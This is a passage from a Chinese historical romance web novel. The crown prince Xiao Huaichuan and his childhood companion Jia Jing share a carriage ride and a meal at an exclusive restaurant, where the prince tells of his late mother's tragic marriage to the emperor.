贾敬微微睁大的桃花眼愣怔着望着萧淮川,像是没明白他在说什么。 他这幅神情,再配上脸颊蹭上的灰土, 活像只在泥堆里打滚的花猫。 萧淮川忍俊不禁,再次轻笑出声,凤眸满是笑意。 贾敬微微张唇, 贴着自己脸颊的那只手, 触感微微粗糙, 干燥, 温暖,令人留恋。 他敛眉,下意识想要偏过头去, 嘴上说着:“哪里?我自己来……” 贾敬未说完的话下一瞬就顿在了喉中, 他的下巴被萧淮川捏着,想要偏过去的脸被固定住。 萧淮川向前倾身,“躲什么?你又看不见。” 他轻抚着贾敬脸庞的大拇指稍稍一用力,指腹便刮去了贾敬脸上沾着的灰尘。 贾敬脊背不自觉地挺直, 藏在袖子里的手紧紧揪着里衣袖子,呼吸渐渐轻了, 他屏住了呼吸。 仿佛这样, 他就能将萧淮川身上那股熟悉的气息和清冷松香隔档在外。 贾敬眼神定定地望着低眉给自己擦脸的萧淮川。 他能清晰的感受到, 萧淮川的手指一点点在自己的脸上移动, 时不时便用力点。 萧淮川还顺便将贾敬鬓边散落的碎发挽到了耳后。 贾敬就这么静静望着, 望着和他隔了只有一指距离的萧淮川。 忽的, 贾敬敏锐的发觉, 萧淮川的目光定格在了某一处, 贾敬心下一紧。 萧淮川在看什么? 萧淮川的目光落在了贾敬泛着绯色的耳朵尖上。他的手下意识就摸了上去, 感受着指腹下的微热,直接捏了捏。 贾敬浑身一颤,猛地偏过头,身子朝后仰去,挣脱了萧淮川的手。 萧淮川的手顿在了半空,眨了眨眼,难得脸上露出茫然的神色,甚至他自己也没想到自己会做出这样的举动。 他看着贾敬偏过去的头,微垂着看不清神情。 一晃神,萧淮川便恢复了往日里的镇定平静,面色如常,缓缓收回顿在空中的手,轻咳一声,像是在和贾敬解释道: “你耳朵上刚刚也沾了些灰,已经擦干净了。” 贾敬依旧垂着头,听了萧淮川的话后,轻轻点了点头,“嗯,谢谢淮哥了。” 萧淮川见贾敬后仰着略显别扭的姿势,像是在躲自己,眉不禁拧着,“你这样扭着多不舒服,来,坐好。” 说完便朝着贾敬伸出手,想要将贾敬捞到自己身边坐着。 贾敬却顺势坐到了马车的侧面。 萧淮川刚想说什么,贾敬便抬起头,抬手撩起来了旁边的窗帘,清了清嗓子道:“淮哥,我坐这里刚好看看外面。” 他撩起窗帘的手上扬着,衣袖自然落下,衣袖下方一块深色吸引了萧淮川的注意。 萧淮川有些疑惑地看向贾敬,指了指贾敬的衣袖下摆,“阿元,你今日不是去翰林院当值吗?怎么弄得一身灰?” 贾敬正了正脸色,也没瞒着萧淮川,将今日的事情都和他说了一遍,也冲淡了他们之间的尴尬。 萧淮川越听脸便绷的越紧,“翰林院的这些老学究居然这样倚老卖老?” 各衙门老人欺负新人是常有的事情,萧淮川也知道,就连他刚接触朝政时,也有许多人看他面嫩,忽悠他的。 可这常有的事情,萧淮川却不喜欢,甚至很是反感。 贾敬随意地摆手,好似毫不在意道:“各衙门里皆有这样的事,况且我们是城门失火,被殃及的池鱼罢了,再说,我们也没有吃亏。” 老人欺负新人,确实常有,可新人也不是站在原地被人欺负的,不是吗? 萧淮川没有答话,可他微微下撇的唇角,让贾敬知道,他并不认可。 贾敬垂头看了看自己的衣服,还是穿着今日当值的官服,而官服多处也都蹭了灰,早没早上的光鲜亮丽。 这穿新衣服第一天,就弄得满身灰回来的日子,贾敬也是许久没有体验了,眼里竟然还闪过一丝怀念。 萧淮川注意到贾敬的神情变化,关心问道:“在想什么?” 贾敬饶有兴致地问萧淮川,“淮哥还记得,我第一次去宫里读书的日子吗?” 按理说,大乾每位皇子读书学习时,都应该配一位伴读,而萧淮川却是个例外,他没有伴读。 至于原因,贾敬也不清楚,好像只知道原本天丰帝给萧淮川安排了一个,但不知怎的,就没了后文。 而没到五岁的贾敬便是这时候被天丰帝招进宫,充作萧淮川的伴读,陪太子读书。 他虽没伴读之名,却有伴读之实。 萧淮川见贾敬这样问,还当真思考了一番,又见贾敬这幅灰头土脸的模样,心中了然,不禁笑道: “是了,你那天也是这个花猫模样。” “如此看来,你很得意嘛。” 贾敬那日第一天进宫陪太子殿下读书,府里给准备了一套崭新的衣袍,可那日,贾敬便跟人打了架,两人扭打在一起,滚得浑身是灰。 “哈哈哈哈,原来淮哥你还记得!”贾敬自己都笑出了声。 这段儿时的记忆,对于活了两世的贾敬来说,算的上的久远了,他也只记得了个大概。 能记得原因,除了是第一次见到萧淮川外,更多的便是因为弄脏了新衣,还跟人打了架,回家被他父亲贾代化吊起来狠狠地抽了一顿。 贾敬想起这段不算愉快的记忆,撇了撇嘴,歪了歪头,轻抽了一口气, “我是因为什么跟人打架的?跟谁打的啊?” 他是着实想不起来了,是和哪位皇子的伴读吗? 萧淮川见贾敬不是故意说着玩笑话,缓缓开口道:“你和老二打得架,还记得吗?” 他口中的老二,自然是二皇子萧淮洵。 “啊?”贾敬张了张嘴,手下意识指向自己,“我和他打架?为什么啊?” 萧淮川的凤眸微微凝实,那双深邃的眼眸里像是在追忆什么,嘴角噙着一抹浅笑。 就待贾敬以为他要说什么时,萧淮川摇了摇头,“我也不记得了。” 贾敬见萧淮川这模样,半信半疑道:“真的不记得了?” 萧淮川认真点头,“当然,你这位正主都不记得了,我又怎么可能记得?” 贾敬依旧不信,不会是什么丢人的糗事吧? 不过他到底是活了两辈子,还是在萧淮川面前,早也不在乎这些了。 既然萧淮川不想说,那边算了,本就是闲聊天。 萧淮川眼眸中的笑意更盛,看向贾敬的眼神也隐约透露着几分他自己都未发觉的炽热。 他怎么可能不记得呢?贾敬与萧淮洵打架的原因就是他,那是贾敬第一次护着他。 贾敬见萧淮川看着自己,还以为自己这幅灰头土脸的样子真的诙谐,嘟囔道: “等会儿前面去下宁荣街吧,我回府换个常服。” 总不能穿这样出去吃饭吧? 萧淮川闻言,微微摇头,手臂一伸,从马车旁边的矮柜里抽出一套叠得整整齐齐的常服,递到贾敬面前: “马车里有我备着的衣服,你换这个就行,省得你回去折腾。” 贾敬有些迟疑,他的身量虽比萧淮川小些,但衣服却是可以穿的,差不了多少。 只是…… 贾敬纠结地攥着衣角。 萧淮川瞧出贾敬的不自在,不禁挑眉:“阿元,你不会是嫌弃我吧?” 贾敬扯了扯嘴角,“怎么会。” 他只是不想和萧淮川太过亲密,毕竟,他心中有鬼。 贾敬也没拒绝的理由了,他伸出手拿过那套衣服,看到外袍里面夹着的白色中衣,伸手拿了出来,“这个就不用换了吧?” 萧淮川却道:“我刚刚瞧见,你里衣的衣袖应该也是湿了,现在干了硬邦邦的,你穿着舒服?” 贾敬抿了抿唇,那衣服黏在身上,确实不舒服,他捏着衣服的手微微紧了紧,紧紧盯着萧淮川, “我就在这儿换?” 萧淮川笑出了声,“阿元长大了,怎么比小时候还害羞了?” 他们一起长大,早就坦诚相见过,贾敬的哪处,萧淮川没见过? 贾敬深呼吸一口气,还是侧过了身子,背对着萧淮川。 手指颤抖着,解开了最外面的官袍。 如今春日,外袍褪去,里面也仅剩一层白色单衣。 萧淮川本也不当回事,不过是换衣服罢了。 可当他的视线不经意间落在贾敬那截裸露的脖颈上时,呼吸微微一滞。 日光透过车窗缝隙,洒在贾敬莹润白皙的脖颈上,好似为上面镀了层薄光。 萧淮川眸色深了深,原本平和的心跳莫名急促,喉结微微滚动。 他的视线好似被蛛丝黏住一般,挪不开分毫,直到他耳边传来窸窣的布料翻动声音,见贾敬中衣半退,露出了一片肩头后,萧淮川骤然回神,猛地偏过了头,显得很是狼狈和慌乱。 萧淮川手攥成了拳头,努力稳定慌乱的心神。 依旧心烦意乱,他眉眼闪过一丝燥意,他狠狠地阖上了眼睛,想着眼不见心不烦。 然而闭上眼睛,萧淮川的脑海里瞬间只剩下那一抹夺目的白。 待贾敬换好衣服后,回头朝萧淮川看去时,只见萧淮川不知道什么时候闭上了眼睛,头朝马车侧壁歪着,好像睡着了一样。 第58章 “好了?”萧淮川瞬间睁开了双眼, 原本清冽的声音透露着几分嘶哑。 贾敬闻声看去,目光瞬间被萧淮川那双略微泛着红血丝的眼眸吸引,连忙关切问道: “你昨晚没歇息好?眼睛怎么这样红。” 萧淮川顿了顿, 沉默地点了点头,从喉咙里发出一声低沉的“嗯”。 贾敬见状,朝萧淮川坐着的方向倾身而去, 细细端详着萧淮川的面容。 萧淮川半阖着眼, 显得有些疲惫, 见贾敬朝自己这边靠近, 他身体僵了僵,不自觉地朝车壁又侧了侧,喉结滚动, “我没事。” 贾敬看了他一会儿, 颔首,伸手敲了敲车门框,对外吩咐道:“不去吃饭了,回宫。” 说完他才转眸看向萧淮川:“不差这顿饭, 你快回去歇着吧。” 萧淮川下意识拒绝,“不用, 我真的没事。” 马车缓缓停下, 像是犹豫, 不知道到底该听哪位主子的话, 索性停下。 贾敬蹙起眉, 紧紧盯着萧淮川, 眼神上下打量着他, “真的没事?” 他总觉得萧淮川有些奇怪。 被贾敬这样盯着, 萧淮川心虚的想要错开眼, 可到底稳住了。 他藏于袖中的手,紧紧扣着掌心中的砂金珠子,感受着珠子上传来的温热。 “嗯,真的没事,况且我是真的饿了,去吧。总不能让我出来一趟,还饿着肚子回去?” 萧淮川说的可怜,贾敬还能说什么? 大乾官方多是一日两餐,早晨一餐朝食,下午一餐晚膳。贾敬这种公府人家一般是三餐,可入朝当差,那便是按照两餐来,他上一顿还是早上吃的那顿朝食,如今也早就饿了。 而萧淮川同样是两餐习惯。 贾敬这才轻轻用手指敲了敲马车框,“走吧,按原计划走。” 他说完想起来什么,又问萧淮川:“今日你定了去何处?” 听了贾敬的问话,一直安静坐着的萧淮川慢慢地转动身体,恢复到以往的从容淡定。 他思忖着,抬眸看着贾敬缓声道: “阿元今天可是头一天当值,如此值得庆贺之事,自然得选个好去处才行。我已经预订好了天珍阁。” 说起这天珍阁,那可真是大有来头。 如果说先前贾敬与宋子虚口中提到的万香楼是整个京城最为红火、生意最为兴隆的酒楼,那么天珍阁无疑便是京城里最难预订到位置的酒楼了。 观“天珍阁”此名,顾名思义,这里所供应的每一道菜肴皆是堪称天上珍品。 其食材之珍稀、烹饪手法之高超以及味道色相之绝美,都令无数食客为之倾心向往。 而他难订的原因倒不是因为别的,只是因为天珍阁的幕后东家比较任性。 这位幕后东家一不贪慕权贵,二不觊觎钱财,无论是钱权富,还是平民百姓,他都可谓是一视同仁,只求一个合他心意。 萧淮川说起天珍阁,贾敬倒是真的有些惊诧,没想到萧淮川居然定了这么一个地方。 他饶有兴致地问萧淮川,“都说天珍阁每半月会出题放在门前,想要预订位置,得先答题,答到那位幕后东家满意,便能订到位置。” 贾敬说着,有些惊疑地看向萧淮川,“淮哥去答题了?” 其实萧淮川若是想要天珍阁的位置,也用不着他亲自答题,东宫属官能人辈出,他手下不知名谋士也不少,多是文采斐然,总能有满足那位幕后东家的回答吧? 萧淮川点了点头。 题是他自己答的,且不说这是为了给贾敬庆贺,就说萧淮川本人,也不觉得这等私事,要手下的人代劳。 贾敬眉眼间含着笑,好奇地问道:“淮哥能和我说说,题是何题,淮哥又是怎么答的吗?我实在是好奇。” “都说天珍阁幕后东家如此傲然,出的题不是诗词歌赋,就是时论策论,定是哪位隐世大儒。”贾敬略带试探的问了句。 这位东家如此神秘,身份定然不一般,也不知道萧淮川是否知道。 萧淮川颔首,对于贾敬这番天珍阁幕后东家身份的猜测并未回答,而是将他遇见的那道题娓娓道来。 贾敬认真听着,时不时还跟萧淮川探讨几句,就这么说了一路,直到马车停下。 “公子,二爷,咱们到地方了。”外面小德子轻声提醒道。 贾敬率先下了马车,紧跟着萧淮川也下了车。 “这就是天珍阁?”贾敬有些好奇地望着面前临湖而建的天珍阁。 天珍阁名气很大,京城人皆知,但巧的是,贾敬还真的从未来过。 “牌匾上的这三个字一瞧便是大家之作。”贾敬望着天珍阁的匾额,不禁感慨一声,接着随口问道,“淮哥之前来过吗?” 萧淮川抬眸看向匾额,眼眸暗了暗,下一瞬便敛眉道:“没有,我也是第一次来。” 贾敬一直欣赏那幅字,没有注意到萧淮川的异样。 萧淮川迈步进去,贾敬紧紧跟其后,到了门口时,有位模样俊俏的小厮笑着弯腰: “请您出示玉牌。” 萧淮川从袖中摸出一枚小玉牌,递给小厮,小厮认真辨认后,收起玉牌,邀请着萧淮川和贾敬进去。 “贵客,您这边请。” 贾敬目光落在小厮手上的玉牌上,萧淮川向贾敬解释,“拿到这个玉牌,就算是订到了,来时,将玉牌归还他们。” 贾敬:“不怕假冒伪造吗?” 萧淮川摇了摇头,“不会,这玉牌是他们特制的,方才那位小厮就在甄别这个。” 贾敬这么一听,有些遗憾刚刚没仔细瞧瞧那枚玉牌,还没看见到底有什么不一样的地方。 萧淮川好似看出了他的遗憾,笑道:“下次还有机会。” 贾敬点点头,方才和萧淮川在马车内探讨了一番,天珍阁的题目被吹得神乎其神,可如今看来,也还算是正常,贾敬觉得如果是他来答,应该也不会有什么问题。 正门进入,便是天珍阁的大堂,桌椅排放整齐,却无人落座。 小厮见贾敬看着那些桌椅解释道:“客官可是好奇,这边为何没人落座?” “来咱们阁用膳的,皆于二楼里间雅舍。这里,是每十日开设书场清谈时,诸君品茗之地。” 贾敬挑眉,“书场清谈?” 他倒是没想到,这么一家酒楼,居然还有每逢十日开设书场清谈的活动,藏得还真深,不来一次,都未听说过。 “请问该如何参加这书场清谈?” 小厮笑着答道:“一般来咱们阁一次,便能参加一次。” 贾敬了然,“那么最近的一次书场清谈,是在什么时候?” 小厮道:“在五日后。” 贾敬算了下日子,刚好那日是朝堂休沐的日子,转头看向萧淮川,“淮哥,那天可要过来瞧一瞧。” 萧淮川沉默了一会儿,见贾敬那双桃花眼里满是好奇和期待,点了点头,“好。” 贾敬这次注意到了萧淮川的不对劲,但他没多说什么,而是转过头,打量起天珍阁的内设。 除桌椅外,其间放置了些许雕刻花架,安顿奇松异桧等物,以此来修饰,倒是为天珍阁增了几分安逸宁静,透着文气。 不说这是酒楼,还以为这里是什么书院呢,想着在这净几明窗之地,品茗论道,还真是优哉游哉,乐陶陶。 贾敬朝前看去,中间天井有一长案,案上有扶尺拍案等物,有些像外面艺人说书口技的地方。 小厮适时解释道:“这便是书场主持的地方。” 贾敬和萧淮川上了二楼,正如小厮所说,皆是雅舍。其间无不是木刻花格窗,名人字画挂于墙上。 还有一小块临窗的厅堂,从窗外眺望,便能将旁边湖景尽收眼底,焚香兀坐,正是品茗赏景的好地方。 进了一件门挂为“梦蝶”的雅间,入眼的便是墙壁处的格子状物架,上面摆着些陶器瓷器,其余几面都挂了字画,供人赏玩。 以贾敬的眼光看,也还算是小有名气之作,值得一观。 绕过铜框架红漆屏风,便是花梨木中最好的黄花梨做的案几,案几周围放了四个坐垫。 与大堂的桌椅不同,雅间皆是矮榻案几,需是跽坐或者跪坐。 贾敬和萧淮川坐下,小厮便先退了出去。 “这东家……还真是‘雅士’。”贾敬手撑着下巴,感慨了一句。 他心中其实还有句话没说,也不知道是真“雅”,还是真“装”。 萧淮川没说话,贾敬原本心中的疑窦又升了起来。 好似进了这天珍阁,萧淮川便一直有些不对劲,贾敬转眸盯着萧淮川,见他紧抿着唇,贾敬像是想到了什么,忽然问了一句, “淮哥认识这天珍阁的东家?” 萧淮川听到贾敬的问话,先是一怔,随后扯了扯嘴角,“果然瞒不过阿元你的眼睛。” 他这句话接着沉默,眼底滑过一丝纠结。 就在贾敬以为萧淮川已经不准备开口,萧淮川开口了。 “天珍阁的幕后东家……”萧淮川说着,顿了顿,嘴角上扬,却泛着一丝苦涩,“算是认识吧。” 贾敬反问:“算?” 萧淮川抿了抿唇,吐了句,“那位东家应当是我素未谋面过的外祖。” 第59章 萧淮川的外祖? 贾敬听到这个, 一时都未反应过来。 只因为萧淮川的生母文淑皇后去世多年,就连贾敬都未曾见过。 萧淮川幼年失恃,也从未主动与贾敬提过文淑皇后, 贾敬也从未问过,即便他曾经对这位先皇后,也有过好奇之心。 除去这个原因外, 还有天丰帝的态度以及一些传闻, 因此大乾上下对文淑皇后都讳莫如深。 太祖皇帝当年于乱世中起势, 终成帝业, 一人得道,鸡犬升天,大乾多了一帮子从龙勋旧。太祖皇帝只希望这些功臣们可以安富尊荣, 别有什么歪心思。 又为了平衡林立千百年的世家地位和势力, 因此为皇子选妃时,前两者一个不挑,多是挑选了一些平民女子。 而文淑皇后贺氏便是民间选秀被先祖皇帝挑中,封了王妃, 与天丰帝成了结发夫妻。 她虽出身不显,但冰雪聪颖, 满腹经纶, 与天丰帝是琴瑟和鸣, 惺惺相惜, 羡煞旁人。 天丰帝继承大宝后, 立刻便封贺氏为皇后, 他们的嫡长子萧淮川出生后, 也立刻封为了储君, 文淑皇后的地位可谓是极为稳固。 然而文淑皇后红颜薄命, 没几年便薨逝了。 有一些私下传闻,说文淑皇后薨逝前,曾与天丰帝发生过剧烈争吵,主动封了宫门。 皇后贺氏薨逝后,天丰帝大恸,钦定谥号“文淑”,葬礼规格也是超前隆重,那些捕风捉影的传闻也就没人再提。 而贾敬对文淑皇后的了解,也仅限于此。 贾敬下意识朝门口看去,生怕门口有什么人,听到了什么。 萧淮川却好似不担心这件事,只是随意瞥了眼,便收回目光。 贾敬心中有些隐隐担忧,轻声问了句,“文淑皇后的身份是……” 世人都知,文淑皇后贺氏是平民出身,可这天珍阁背后的幕后东家,怎么看也和平民百姓沾不上边。 贺? 贾敬的目光随意扫过墙上的挂画,却忽然想到了什么。 豫州贺家! “是豫州贺家。” 下一瞬,萧淮川便证实了贾敬的猜测。 贾敬眼眸微微睁大了几分,眼里是难掩的震惊。 大乾三大书院,金陵承天书院,背后是金陵阮家;赣州浮白书院,便是皇甫玦所在的皇甫家;豫州南泉书院,背后便是这豫州贺家。 再加上青州衍圣公孔家,这四家根基深厚,隐世大儒坐镇,虽他们主家的人很少进入朝堂,但门下旁支族人和子弟,精深举业,关系盘根错节,不容小觑,也受天下读书人尊崇。 所谓平民出身的文淑皇后,居然是豫州贺家人! 贾敬手指稍稍扣紧掌心中的茶杯,心知这里面藏了一个他两世都不曾听说过的秘密。 萧淮川既然开了这个口,便也不想瞒着贾敬,他端起茶杯抿了一口,缓缓道: “母后与他的第一次相识并不是在选秀上,而是前一年,皇爷爷前往泰山封禅,他们二人相识。” 贾敬知道,萧淮川这些年和天丰帝的关系,越发怪异,私下里,萧淮川从不称呼他为父皇,一般都是用“他”代替。 萧淮川:“那次泰山封禅,皇爷爷带了一众成年皇子,包括他,而封禅大典向来都需衍圣公主持,孔家也借此机会,请了其余世家的大儒前来观礼,皇爷爷自然高兴,没有拒绝的道理。” 贾敬微微点头,这些大儒几乎是文人表率,由他们观礼,正合了太祖皇帝泰山封禅,以示正统的心。 萧淮川接着道:“母后是贺家那一辈最小的姑娘,从小便跟着她的父亲兄长到处游历听学,这次泰山封禅,她亦是女扮男装跟着来了。” 他说到这里,却停了下来,喉咙像是被什么东西哽住一般,没有急着接着说下去。 贾敬的目光则是自始至终都牢牢在萧淮川的身上,见他低眉垂眼,平日那双深邃清冽的凤眸此时像是蒙了一层灰。 那层灰下藏着的是难以言状的悲伤,以及一丝丝隐约的恨意。 贾敬的心猛然间像是被一只毒蜂蛰了一下,一阵尖锐的疼痛迅速传遍全身。 在他的心中,萧淮川一直是淡定从容,面对什么事情都是气定神闲,何时见他这般失态过? 萧淮川于许多人来说,都如主心骨一般的存在,他是天丰帝放心的太子,是万臣敬仰的储君,亦是贾敬的后盾。 可贾敬却忘了,萧淮川也不过才将将二十出头的年纪,从小失恃无母亲关爱,与天丰帝更是天家父子,先君后父,至于那些兄弟,更是如豺狼一般。 贾敬心中不禁想着,他和萧淮川还真是像,不得父母亲缘。他是出生母亲便去了,父亲贾代善对他更是非打即骂。 可他又要比萧淮川强些。他有贾敷这位兄长,还有史云棠这位待他如亲弟的嫂子,还有一直护着他长大的萧淮川。 雅舍内瞬间沉寂下来,不知道过了多久,萧淮川才沙哑着嗓音道:“若是可以,我希望母后从未遇见过他。” 萧淮川竟然说了这样的话,那么后来定然是发生了什么。 贾敬嘴唇嚅嗫了几下,想要宽慰萧淮川几句,却又不知道该从何说起。 说世人都道天丰帝和文淑皇后是天造地设的一对? 可目前看来,这里面有许多不足外人道也的隐情。 萧淮川像是用尽全身力气,才把哽在喉间的酸涩咽下去,哑着嗓子继续道: “他们曾经确实是人人称道的神仙眷侣,琴瑟和鸣,他也曾许诺过母后,一生一世一双人。” 贾敬愕然,他还真的没想到,天丰帝年轻时居然向文淑皇后许下这样的重诺。 若是天丰帝是个普通的闲散王爷,于封地荣养,与王妃一生一世一双人,倒是能成就一段佳话。 然而后来的事情,众人都知道,天丰帝成功登基,虽封了贺氏为皇后,可也有了后宫三千。 处在帝王的位置上,想来群臣也不会应允圣上只有一位皇后吧。 贾敬由此想到了萧淮川那个未有旨意,却众人皆知的婚约,那也是天丰帝强压下的决定。 将来,萧淮川真的坐上了那个位置,又何止这么一位张小姐? 贾敬思及此处,心中泛着酸涩,忍不住道:“或许,他也有不得已的苦衷呢?” 他口中提到的苦衷,也只有他自己知道。他不是在为天丰帝开脱,而是在说萧淮川的苦衷。 可听萧淮川耳里,却异常刺耳,眼尾下垂,凤眸里泛着凉意,嗤笑道: “他的所做作为,可没人逼着他。” “皇爷爷并不同意他娶世家的小姐,可我母后却真的看上了他,铁了心的要嫁给他,不惜,被贺家除名。” “她义无反顾的抛了身份,嫁给了他。” 贾敬心头大震,被家族除名意味着斩断所有退路,余生再无娘家依傍。 他被文淑皇后这份孤勇与决绝惊得半晌说不出话来,果敢赤诚,世间罕有。 可贾敬的心又不自觉的悸动了几分,文淑皇后这样的选择,不就是先前他与兄长所说的那样吗? 萧淮川嘴角勾起一抹嘲讽弧度,眼中寒意更甚:“他参与夺嫡可没有逼他,他也早就动了这样的心思,却瞒着母后,说着哄骗她的话。” “他登基不久,朝堂暗流涌动,各方势力需要平衡,新人不断入宫。” “起初母后还信他,觉得只是权宜之计,能与他携手应对。可慢慢地,母后逐渐认清了这些谎言,那些甜言蜜语、海誓山盟终究是成了笑话。” 贾敬听着,拳头悄然握紧,替文淑皇后感到难过。 萧淮川缓了缓情绪,又道:“母后性子刚烈,哪受得了这般冷落与背叛。她自然有她的骄傲,也不愿做那等妒妇。” “母后出身于豫州贺家,书香传家,更是从小跟着外祖到处游学听学,早已经耳濡目染,母后酷爱诗词,写的诗词也也曾流传甚广。” “母后自此便不再理会他,只是闭门谢客,于凤藻宫日夜钻研古籍,编写整理她多年所写的诗词和心得。” 贾敬听到此处,心中不得不佩服文淑皇后,若是换做一般人,可能早已经被伤的心如死灰,千疮百孔。 他忽然又想起先前的传闻,犹豫了一会儿,还是问出了口:“那皇后娘娘封宫是……”, 萧淮川深吸一口气,“确实有这件事,但绝不是传闻的那般,母后善妒,才与他争吵。” “母后已经不屑于他那肮脏到一文不值的承诺了。” “可万万没想到,他竟然如此恶心。”萧淮川的眼眸已然红遍,双拳紧紧攥着。 “发生了什么?”贾敬蹙眉,艰难开口,声音带着一丝颤意,隐约猜到后面的事情定然很是揪心。 萧淮川眼眸的恨意此时已经藏不住,他也不愿再藏,一字一顿道: “他发觉母后不再关注他,冷落他,而是将所有精力放在那些诗词后,恼羞成怒。” “将母亲整理的诗词手稿全部烧了。” “他这个懦夫!” 贾敬闻言,眼眶酸涩得厉害。 那是文淑皇后心中悲痛后的寄托和心血,天丰帝居然就这样,将那些心血全部烧了? 贾敬双肩忍不住的颤抖,满心都是对天丰帝的愤懑。 “母后也因此彻底对他死心,自己封了宫,开始没日没夜的去恢复她曾经写过的诗词和心得。” “这成了她的执念,亦是母后的心愿,她想将诗词整理成册,出版传于世。” “可也因为这个,耗费了大量心血和精力,也就一年,母后便……” 话到此处,萧淮川眼眶泛红,额上青筋微微凸起,双手不自觉攥紧衣角。 第60章 贾敬死死咬着唇, 这便是萧淮川幼年丧母的原因。 刚刚萧淮川的只言片语中,贾敬便知这位他未曾见过的文淑皇后是怎样一位奇绝才女。 她虽遇人不淑,却并未自怨自艾, 伤心欲绝。而是将天丰帝看透后,不再耽于情爱,山中自有丘壑, 将情寄于她的诗词之中。 若不是天丰帝气急败坏, 使用下作手段毁了文淑皇后的诗词手稿, 文淑皇后也不会日夜整理恢复手稿, 耗光了心血,油净灯枯。 一切的罪魁祸首都是天丰帝! 贾敬像是想到了什么,连忙抬眸, 紧盯着萧淮川, 声音颤颤,“娘娘的那些诗词手稿呢?” 他紧张的手牢牢地搅在一起,生怕又听到什么不好消息。 萧淮川闻言,嘴角勾起一抹讽刺, 眼底冰冷一片,“你果然是清楚他的。” “他在母后大行之日, 还想要将母后辛辛苦苦整理的心血毁之一炬, 美其名曰, 为母后陪葬!”萧淮川说的咬牙切齿。 他那时年岁虽小, 可天丰帝恶心的嘴脸, 却记得清楚。一回忆起天丰帝那癫狂眼神中含着的喜悦, 虚伪到令萧淮川恶心。 贾敬的眉狠狠拧在一起, “娘娘的遗愿, 分明是将她的诗词和心得流传于世, 他为何要那么做?他不知娘娘的遗愿吗?” 萧淮川眉眼压的很低,“他当然知道,他便是知道,所以才要毁了这一切!” 贾敬脱口而出:“他疯了!” 萧淮川冷笑:“他可没疯,他比谁都清醒。” “他是故意如此。” 贾敬惊得张了张嘴,萧淮川眼眸眯起,眼神冷冽如寒冰, “他恶心阴暗的心思,骗得了别人,却骗不了我。” 萧淮川:“他当年对才情一绝的母后一见钟情,伪装成深情款款的样子,又故意迎合母后的喜好,骗得了母后的真心。” 他甚至怀疑过,天丰帝当真是喜欢才思敏捷的母后,还是知晓母后贺家嫡系小姐的身份,刻意接近。 若是前者,萧淮川觉得天丰帝是个懦夫,想要权柄,却被各种牵绊,护不住想要护的人。 换做是他,他一定不会去这样牺牲伤害想要护着的人!付出一切代价,他也要护着他想要护的人。 若是后者……那便是满口谎言的小人! 不过他的小心思,因太祖皇帝的阻挠,和豫州贺家坚决女子不入天家的态度,天丰帝也算是机关算尽太聪明,漏了一卦。 萧淮川思及那些猜测,脸色愈发冷然,“可又因为他的野心,誓言变成了狗屁,用谎言的密网将母后囚禁在这深宫中,伤害了母后的真心。” “说来也是好笑,”萧淮川忽的嘴角勾起一抹诡异的笑意,眼底极尽嘲讽, “是他违背诺言在先,可真当母后无视他时,他那自私又自卑的心却无法承受,反而怪罪于我的母后,认为母后变了心。” “他仰慕母后的才情,不惜伪装成母后喜欢的样子接近,可他又不敢直视才情卓绝如明月一般的母后。毕竟,假的就是假的,在明月的光辉下,他如阴沟里的老鼠一般,现出原形,无处遁逃。” “所以,母后投入心血的诗词,他也要毁掉。” 贾敬只觉得寒意从自己的脚底钻入,瞬间钻到了心口,忍不住的发颤。 得不到,便毁掉…… 贾敬粗喘着气,“这根本不是爱!” 若是真的爱一个人,是愿意舍弃一切只盼着他好,又怎么舍得忍心毁掉? 就如萧淮川之于他。 “他只爱他自己。” “他这种自私自卑的小人,不配得到母后的爱。”萧淮川紧紧攥住手中的茶杯,力气大到骨节都泛了白。 萧淮川再次说了先前的那句话,言语含恨,“若是可以,我希望母后从未遇见过他。” 他为他的母亲感到不值,心痛,那个男人根本就配不上他的母亲…… “可母后却说,她不后悔。” “因为,她有我。” 萧淮川声音止不住的颤抖,哽咽在喉,眼眶早已经湿润。 他的耳边仿佛又响起了那道温柔沉稳的嗓音,轻柔的手抚摸着他的脑袋…… 萧淮川猛地闭上眼,长睫湿润簌簌。 贾敬把这一幕尽收眼底,心像是被细密的针深深浅浅地扎着,泛起密密麻麻的疼来。 他知晓萧淮川这份咬牙死扛的自尊和脸面,他不愿在自己面前失态。 可萧淮川越是这样强撑着,贾敬就越是心疼。他红着眼眸,眼眸定定地盯着萧淮川,眼眶酸涩,睫羽轻颤,先萧淮川一步落下泪来。 萧淮川咬紧牙关,努力平复着胸腔中的悲恸和愤恨,待他缓缓睁开眼后,便看见了贾敬顺着眼尾流下的那滴泪。 萧淮川忍不住愣怔住,他下意识伸出手,抚上贾敬的脸庞,手指轻轻擦拭掉那滴泪, “哭什么?为他那种人落泪,不值得。”这句话既是萧淮川说给贾敬听的,也是他说与自己听的,“母后都未曾为他落泪。” 贾敬的心像是泡在了一堆青桔汁里,酸涩一片。他的脸正对着萧淮川,眼眸尽可能睁大,可依旧模糊的看不清萧淮川的面容,他哽咽又执着道: “我不是为他哭。” 萧淮川的微微手一顿,他的目光直直地与贾敬的眼眸对视。 只见那双含泪的桃花眼,在窗户斜照下的日光下,如琉璃世界一般晶莹剔透,那流光溢彩的世界中央只此萧淮川一人而已。 萧淮川心中像是被一团火焰包裹着,炽热,滚烫。他的喉结不受控制地上下滚动,沙哑着嗓子,轻声哄道: “别哭。” 这滴泪,他又怎么会不知呢? 那是他无法流露亦不愿落下的泪,此刻由阿元替他而落了。 贾敬深吸一口气,紧接着抬手用力抹去眼角的湿意,似是想把那些纷纷扰扰都统统揉碎。 过了半晌,贾敬心绪平稳下来后,才恍然惊觉刚刚自己究竟做了些什么。 霎那间,一抹羞赧的神色划过他的脸颊,低垂着头去,不敢去看萧淮川的眼睛,只是低声开口道:“方才是我一时失态,淮哥莫要见怪……” 声音越到后面,越细如蚊蝇,听不清再说什么。 萧淮川见状,原本想要收回的手,忽的转了个方向,迅速扣住贾敬的手腕。 贾敬一惊,手下意识想要抽回自己的手,奈何萧淮川的手牢牢攥着,一时没有抽出来。 “阿元。” 听见萧淮川唤自己,贾敬抬起头,便见萧淮川的目光凝视着他,缓声道:“阿元,你当真是我的知己。” 贾敬闻言,身体不禁一颤,手下意识地蜷缩起来,眼眸却不敢再与萧淮川对视,慌乱的垂下眼眸,盯着自己被萧淮川握着的手腕。 手腕处是不忍忽视的灼热,贾敬的心中却泛着凉意。 可紧接着,贾敬又觉得有些可笑,不做知己,自己还想做什么? 知己啊,多亲近的词,自己该知足。 贾敬忽的目光落在了萧淮川的手腕处,那里拴着一条编制的手绳,上面毫无其余装饰,独留一颗闪烁着细碎金光的珠子。 